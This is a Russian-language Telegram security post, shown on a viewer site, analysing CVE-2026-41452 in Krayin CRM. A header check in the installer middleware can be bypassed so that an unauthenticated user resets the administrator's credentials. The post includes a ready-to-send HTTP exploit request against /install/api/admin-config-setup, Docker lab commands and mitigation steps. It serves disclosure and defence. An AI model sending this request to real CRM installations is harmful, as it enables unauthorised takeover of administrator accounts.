TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #231 1.93K
😀 Admin may cry
CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администратора в Krayin CRM ≤2.2.0, ≥2.2.4

Метрики:
Base Score: 9.8 CRITICAL
CWE: CWE-306

Об уязвимости
В Krayin CRM используется промежуточное ПО CanInstall для защиты конечных точек установщика, чтобы никто не мог получить к ним доступ после установки системы.
Условие проверки для всех конечных точек /install выглядит так:
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard.index');
}

Логика построена на операторе  &&, поэтому защиту можно обойти, если отправить запрос к любой конечной точке /install/ с заголовком X-Requested-With: XMLHttpRequest, который используется в AJAX-запросах.
При этом:
isAlreadyInstalled() вернет true, так как приложение уже установлено;
! $request->ajax() станет false благодаря добавленному заголовку.
В итоге редирект на route('admin.dashboard.index') не сработает.

Конечная точка /install/api/admin-config-setup отвечает за настройку учетных данных первого пользователя системы — администратора.
Пример эксплойта:
POST /install/api/admin-config-setup HTTP/1.1
Host: 192.168.177.165:8021
Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 69

{"admin":"whatIsIt","email":"AMC@evil.com","password":"WW1337!"}

Этот запрос переопределяет учетные данные администратора и дает неавторизованному пользователю доступ к системе с правами администратора.
Важно! Это лишь один из возможных векторов атаки. Уязвимость затрагивает весь маршрут /install.

Лаба:
sudo docker pull webkul/krayin:2.2.0
sudo docker run -p 8021:80 --name krayin-container webkul/krayin:2.2.0
Логин/Пароль: admin@example.com / admin123

Как защититься:
1) обновиться до актуальной версии;
2) проверить логи на наличие запросов к /install с заголовком X-Requested-With: XMLHttpRequest;
3) ограничить доступ к /install из внешней сети интернет с помощью правил WAF или IDS.
  • 🔥 10
  • 👍 4
  • ❤ 3
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 11, 2026💣 Уязвимости в средствах AI-автоматизации Средства AI-автоматизации всё активнее использу…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →